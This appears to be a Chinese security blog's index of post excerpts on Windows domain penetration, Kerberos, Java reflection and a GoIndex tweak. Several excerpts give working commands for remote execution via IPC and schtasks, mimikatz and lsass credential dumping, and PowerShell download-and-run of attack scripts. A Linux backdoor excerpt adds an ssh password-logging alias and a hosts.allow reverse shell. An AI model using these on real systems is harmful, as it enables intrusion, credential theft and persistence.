wubba lubba dub dub.

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash

基于IPC的远程连接

windows默认情况下开启的共享:

当我们获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限

1
2
3
4
5
6
net use \\192.168.10.2 /u:domainname\administrator password 建立ipc连接
net use \\192.168.10.2 /de /y 删除ipc连接
net view \\192.168.10.2 查看共享目录
net view \\192.168.10.2\c$\users 列出指定目录文件
copy nbtscan.exe \\192.168.10.2\C$\windows\temp\ 复制文件
copy \\192.168.10.2\C$\windows\temp\hash.txt 下载文件

这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接,具体原因参考关于IPC连接和Psexec的用户权限问题

即默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接

计划任务执行命令

1
2
3
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码
Read More

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集

Dump Password & Hash

目的:获取windows用户密码或者Hash,用于远程登录域内其他机器,或进行后续的哈希传递和票据传递攻击

mimikatz

  • 注册表读密码

  • 1
    2
    reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv
    reg save HKLM\SAM C:\windows\temp\Sam.hiv
    1
    2
    3
    4
    privilege::debug
    sekurlsa::logonpasswords
    # mimikatz运行解密命令
    lsadump::sam /sam:Sam.hiv /system:Sys.hiv
  • 内存读取密码

    1
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

    或者使用procdump来绕过杀软对mimikatz拦截

    1
    2
    3
    4
    procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
    # mimikatz运行解密命令
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

Powershell调用

  • mimikatz

    1
    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

  • nishang

    1
    powershell IEX (New-Object Net.WebClient).DownloadString(‘https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHashes.ps1');Get-PassHashes

MSF

  • mimikatz模块

    1
    2
    3
    load mimikatz
    wdigest //获取明文密码
    msv //获取所有Hash


  • hashdump

    1
    hashdump

WCE

Read More

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议

域内信息搜集

目标:判断域环境,定位域控制器的IP地址,获取域内其他成员机器的信息

DOS命令

1
net time /domain

通过查询时间服务器判断是否存在域

一般时间服务器就是域控机器,可以ping获取其IP

1
ipconfig /all
Read More

域渗透学习(一)Windows身份认证

Kerberos认证协议

上一篇提到了域内身份认证是采用的Kerberos协议,那么具体的认证流程是怎样的?

需要了解的几个概念

  • KDC(Key Distribution Center):密钥分发中心,里面包含两个服务:AS和TGS
  • AS(Authentication Server):身份认证服务
  • TGS(Ticket Granting Server):票据授予服务,该服务提供的票据也称为 TGS 或者叫白银票据
  • TGT(Ticket Granting Ticket):由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时

关于下文需要记住的一些点

Client 密钥 TGS密钥 和 Service 密钥 均为对应用户的NTLM Hash

TGS密钥 == KDC Hash == krbtgt用户的NTLM Hash,这几个可能有时候叫法不一样但是是一个东西

Server 和 Service 也可以当作一个东西,就是Client想要访问的服务器或者服务

Client/(TGS/Server) Sessionkey 可以看作客户端与TGS服务和尝试登陆的Server之间会话时用来加密的密钥,而(Client/TGS/Service)密钥(上面提到的三个实际为NTLM Hash的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密

Read More

Windows认证机制

阅读本文前需要补充的知识:域的基本概念,域环境与工作组环境的区别

何谓域渗透,域渗透就是基于windows域环境的渗透,而域渗透设计到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一

Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)

本地认证

本地认证十分简单:用户输入密码,系统收到密码后将用户输入的密码计算成NTLM Hash,然后与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败

这里提到的NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中,对于这个概念一定要牢牢记住,因为后面NTLM Hash会经常出现

大致的运算流程为:

1
用户密码->HEX编码->Unicode编码->MD4

用python计算密码’admin’的NTLM哈希:

Read More
post @ 2020-03-13

Backdoor

alias后门 ssh密码记录

1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh’


后门将终端的输入输出(输入的ssh地址账号密码)和连接信息保存到/tmp/sshpwd-日期.log中

1
cat /tmp/sshpwd-xxx.log


Tcp Wrapper

1
echo ‘ALL: ALL: spawn (bash -c “/bin/bash -i >& /dev/tcp/192.168.10.1/37789 0>&1”) & :allow’ > /etc/hosts.allow 

ssh 连接目标可触发后门回连

软链接SSH后门

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
Read More
post @ 2020-03-12

反射机制的定义和应用

废话看不懂系列:

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法

Java反射机制可以无视类方法、变量访问权限修饰符,可以调用任何类的任意方法、访问并修改成员变量值。也就是说只要发现一处Java反射调用漏洞几乎就可以为所欲为了。当然前提可能需要你能控制反射的类名、方法名和参数

反射的应用:

ide 自动提示功能,对象(提示属性,方法)–通过反射机制知道的
servlet ->程序员定义->配置文件中的配置->tomcat创建->配置文件信息->类的全路径->tomcat可以根据类的完整名称创建对象

反射可以根据一个字符串(类的全路径) 创建一个类的对象
如在程序中,使用反射技术,程序可以从配置文件中读取配置(字符串:类的全路径)然后动态创建该对象,只需修改配置文件,即可更改创建的对象,而不用写死在代码中

人话能看懂系列:

这里有个类 Car

1
2
3
4
5
public class Car{
public void run(){
return NULL;
}
}
Read More
post @ 2020-03-12

某公司遭到竞争对手的渗透,大量公司员工账号被盗,公司领导瑟瑟发抖,因为现在不知道聊天窗对面是自己的员工还是竞争对手,在这种情况下怎么来保证员工和老板间的对话是安全并且互相可信的呢?

这时候就引入了一个第三者,HR,由于公司施行工资保密制度,员工之间不知道彼此工资的具体数字,但是HR知道全公司员工的工资数字,现在假定每个员工的工资都是不同的,我们用员工,老板,和HR来完成一个安全可信的加密机制,(假定HR是可信任的)

员工,老板和HR便是Kerberos认证中的三个角色

俗称地狱三头犬

那么继续说,公司目前处在这样一个人与人之间毫无信任可言的情况下,还是要继续运转

某天,员工张二狗需要从老板大黄那里取得一份公司机密信息,但是如果二狗直接给老板发消息索要信息,那老板肯定不会给他,因为公司聊天工具里的人现在都是不可信任的,二狗不知道网线那边是不是真的老板,老板也不知道给自己发消息的是不是真的二狗,这时候就尴尬了

然后这时,聪明的老王出现了,老王是个国外读了10年本科的密码学砖家,他就给公司提出来一套流程,鉴于目前大家都没有办法确定某个人就是某个人,那么我们来用密码学的手段确定彼此的身份吧

这个流程是什么呢,如果二狗想给老板发消息,就要先通过HR来确定二狗就是二狗,怎么确定呢,二狗知道自己的工资,HR也知道二狗的工资,那么二狗就先给HR发个消息,我要找老板谈话,帮我弄个身份鉴定证书吧,但是二狗不能直接找HR要这个鉴定证书,因为二狗要先证明二狗就是二狗本人

于是二狗先给HR发了个消息,我是二狗,我要证明我就是二狗!

Read More

关于net use和psexec无法使用本地管理员组用户建立连接的问题

IPC Access Deined

环境:

1
2
3
4
5
win7系统,存在域环境
域名:de1ay
普通域用户: de1ay\de1ay
域管理员用户:de1ay\Administrator
本地管理员用户: de1ay

当我尝试使用域用户de1ay\de1ay和本地管理员组的用户de1ay使用psexec连接目标Windows服务器执行命令时返回了拒绝访问

并且在使用net use建立IPC连接的时候返回了Access Denied


由图可见唯一成功的是使用域管用户de1ay\Administrator成功获取到cmd



可见de1ay属于本地管理员组,同时也存在域用户de1ay/de1ay

并且确定ADMIN$目录开启了共享

了解到Psexec是借助的IPC连接执行命令,那么尝试使用上面两组用户名进行IPC连接

Read More

Goindex隐藏目录

GoIndex

goindex 1.0.6版本没有自带隐藏目录功能,可以通过增加代码实现

首先网盘根目录下新建hide文件夹(或者其他名字

打开workers部署页面

在cloudflare workers的script中,找到62行的apiRequests函数

let list = await gd.list(path);return new Response(JSON.stringify(list),option);之间添加代码

1
2
3
4
5
6
7
8
9
10
11
12
let list = await gd.list(path);
if (authConfig.hidden !=undefined && authConfig.hidden != null && authConfig.hidden != ""){
if (path=="/"){
let i;
for (i in list.files){
if (list.files[i].name==authConfig.hidden)
{break}
}
list.files.splice(i,1);
}
}
return new Response(JSON.stringify(list),option);

之后在文件头部的authConfig中添加新的项

Read More
⬆︎TOP